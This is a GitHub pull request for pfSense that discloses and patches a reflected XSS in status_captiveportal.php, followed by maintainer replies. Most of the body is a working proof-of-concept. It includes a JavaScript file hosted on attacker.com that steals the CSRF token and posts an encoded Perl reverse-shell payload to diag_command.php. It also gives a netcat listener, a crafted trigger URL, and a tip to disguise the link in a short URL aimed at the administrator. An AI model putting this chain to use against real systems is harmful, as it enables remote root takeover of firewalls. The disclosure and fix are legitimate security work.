Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix RXSS in status_captiveportal.php : leveraging XSS to Remote root command execution #3288

Closed
wants to merge 2 commits into from

Conversation

yanncam
Copy link

@yanncam yanncam commented Dec 17, 2016

The status_captiveportal.php suffers from a Reflected Cross-Site Scripting vulnerability (RXSS).

tl;dr : Demonstration video of the exploitation of a RXSS to bypass all CSRF security and trigger a Remote root reverse-shell on pfSense 2.3.2 latest release : https://www.youtube.com/watch?v=IWtf6LlfP_c&t=4s

This simple RXSS is triggered on page loading with a specific URL (validated with Firefox latest version 50.1.0) on the latest pfSense 2.3.2 RELEASE.

Through this XSS in GET param, an attacker can benefit of the current pfSense context in a victim's browser already logged as administrator in pfSense web administration interface.
Via this XSS, the attacker can forge his own and hidden request in the victim browser, with :

  • Right referer for bypassing anti-CSRF mechanisms
  • Request page to get a valid CSRF token to forge final form submissions with admin rights

So, an attacker can exploit this XSS to bypass all CSRF mechanisms enabled in pfSense, then run a specific shell command to gain a full Reverse-root-Shell on the pfSense distribution.

As proof-of-concept, I've made this x.js script (to be hosted on the attacker's website like http://attacker.com/x.js for example) :

var hash = window.location.hash.substring(1);
var lhost = hash.substring(hash.indexOf("lhost=")+6, hash.indexOf("&"));
var lport = hash.substring(hash.indexOf("lport=")+6, hash.length);

var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%27%29%3B';

// Function with JQuery AJAX request
// This function requests an internal WebGUI page, which contains the token.
// Source code of this webpage is passed to the extractToken() function.
function loadToken(){
$.ajax({
type: 'POST',
url: '/diag_command.php',
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
dataType: 'text',
data: '',
success:extractToken
}); // after this request, we called the extractToken() function to extract the token
}
 
// Function called after AJAX request in a defined page of the context, which contains the token value
function extractToken(response){
// response var contain the source code of the page requested by AJAX
// Regex to catch the token value
var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');
var token = response.match(regex);
token = RegExp.$1;
// Pass the token to the final function which make the CSRF final attack
//alert(token);
makeCSRF(token);
}
 
// This function use JQuery AJAX object.
// The token var is needed to perform the right CSRF attack with the context referer
function makeCSRF(token){
// Final CSRF attack with right referer (because executed in the context)
// and with right token captured above
$.ajax({
type: 'POST',
url: '/diag_command.php',
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
dataType: 'text',
data: 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token
}); // payload of your choice
}

if (trigger){
} else {
    var trigger = function(){
		// Load JQuery dynamically in the targeted context
		var headx = document.getElementsByTagName('head')[0];
		var jq = document.createElement('script');
		jq.type = 'text/javascript';
		jq.src = 'http://code.jquery.com/jquery-latest.min.js';
		headx.appendChild(jq);
		// Waiting 2 secondes for correct loading of JQuery added dynamically.
		// Then, run the first AJAX request in the WebGUI context to retrieve the token
		setTimeout('loadToken()', 2000);
	};
	trigger();
}

The attacker have to place a listening port (to receive the reverse-root-shell) with netcat for example on his own computer.

nc -l -vv -p 4444

Then, just trigger the RXSS with this script included in the context of an authenticated session as admin in pfSense :

http://192.168.56.133/status_captiveportal_expire.php?zone="><script src="http://attacker.com/x.js"></script>#lhost=192.168.56.1&lport=4444

Change the "lhost" and "lport" parameters in the URL with the corresponding attacker's IP and port (with a netcat in listen mode).

This final URL can be obfuscated and/or hidden in a bitly.com short-url then sent to the legitimate pfSense's administrator.

I have created some BeEF modules (private for the moment, while pfSense isn't fixed) to exploit the same vulnerability / scenario.

This full PoC can be seen in the not-referenced demonstration video here : https://www.youtube.com/watch?v=IWtf6LlfP_c&t=4s

pfSense 2.3.2 contains several security mechanisms like:

  • X-Frame-Option header
  • POST form-submission token anti-CSRF
  • Referer checking to protect against CSRF

But just with a simple RXSS in GET, all these security best-practices can be bypassed to gain a full reverse root shell remotely.

I suggest to double-check all $_GET/$_POST params directly reflected in the pfSense PHP source code without sanitization.
Plus, some HTTP headers can be added in pfSense for a better security, like:

  • X-XSS-Protectoin
  • X-Content-Type-Options
  • CSP header
  • Etc.

…s CSRF to Remote root command exec

The $_GET['order'] param is reinjected without any sanitization in the status_captiveportal.php page.
Fix RXSS in status_captiveportal.php : leveraging XSS to Remote root command execution
@netgate-git-updates
Copy link

Before this pull request can be accepted you must first sign a CLA as described at https://www.pfsense.org/about-pfsense/#cla. Please read for more details.

@jim-p
Copy link
Contributor

jim-p commented Dec 18, 2016

I committed a more complete version with better validation on several pages. In the future, please submit vulnerability information to security@pfsense.org for proper disclosure.

@jim-p jim-p closed this Dec 18, 2016
netgate-git-updates pushed a commit that referenced this pull request Aug 10, 2023
There's no need to keep a separate target field,
and now it's easier to implement #3288.
netgate-git-updates pushed a commit that referenced this pull request Aug 15, 2023
Also, show an asterisk in place of 'Any' for the source,
and avoid generating oNAT rules with invalid aliases.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants